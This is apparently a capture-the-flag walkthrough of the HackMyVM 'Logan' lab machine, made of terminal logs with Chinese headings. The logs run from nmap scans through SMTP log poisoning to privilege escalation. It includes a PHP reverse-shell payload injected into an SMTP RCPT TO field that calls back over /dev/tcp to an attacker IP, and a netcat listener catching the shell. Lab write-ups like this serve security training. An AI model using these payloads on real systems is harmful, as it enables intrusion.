kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.178.51 [22:14:51] [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 22:15 CST Nmap scan report for logan.hmv (192.168.178.51) Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 25/tcp open smtp 80/tcp open http MAC Address: 08:00:27:3F:E5:DD (Oracle VirtualBox virtual NIC)
kali@kali [~] ➜ sudo nmap -sT -sV -sC -O -p25,80 192.168.178.51 [22:15:23] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 22:15 CST Nmap scan report for logan.hmv (192.168.178.51) Host is up (0.00053s latency).
PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=logan | Subject Alternative Name: DNS:logan | Not valid before: 2023-07-03T13:46:49 |_Not valid after: 2033-06-30T13:46:49 |_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Logan MAC Address: 08:00:27:3F:E5:DD (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: logan.hmv
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://logan.hmv/ Total requests: 4989
===================================================================== ID Response Lines Word Chars Payload =====================================================================
kali@kali [~] ➜ telnet 192.168.178.1 25 [19:22:41] Trying 192.168.178.1... Connected to 192.168.178.1. Escape character is '^]'. 220 logan.hmv ESMTP Postfix (Ubuntu) HELO kali.local 250 logan.hmv MAIL FROM:<sender@example.com> 250 2.1.0 Ok RCPT TO:<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.178.141/8888 0>&1'")?> 501 5.1.3 Bad recipient address syntax
拿到反弹shell
1 2 3 4 5 6 7 8 9 10 11
kali@kali [~] ➜ nc -lvnp 8888 [19:18:39] listening on [any] 8888 ... connect to [192.168.178.141] from (UNKNOWN) [192.168.178.1] 53578 bash: cannot set terminal process group (861): Inappropriate ioctl for device bash: no job control in this shell www-data@logan:/var/www/admin$ ls ls index.html payments payments.php upload.php
提权
1 2 3 4 5 6 7 8
www-data@logan:/var/www/admin$ sudo -l Matching Defaults entries for www-data on logan: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on logan: (logan) NOPASSWD: /usr/bin/vim
root@logan:/home/logan# cat /opt/learn_some_python.py cat /opt/learn_some_python.py print("Welcome!!!") comand = input("\n The first you need to now is how to use print, please type print('hello')\n\n") exec(comand)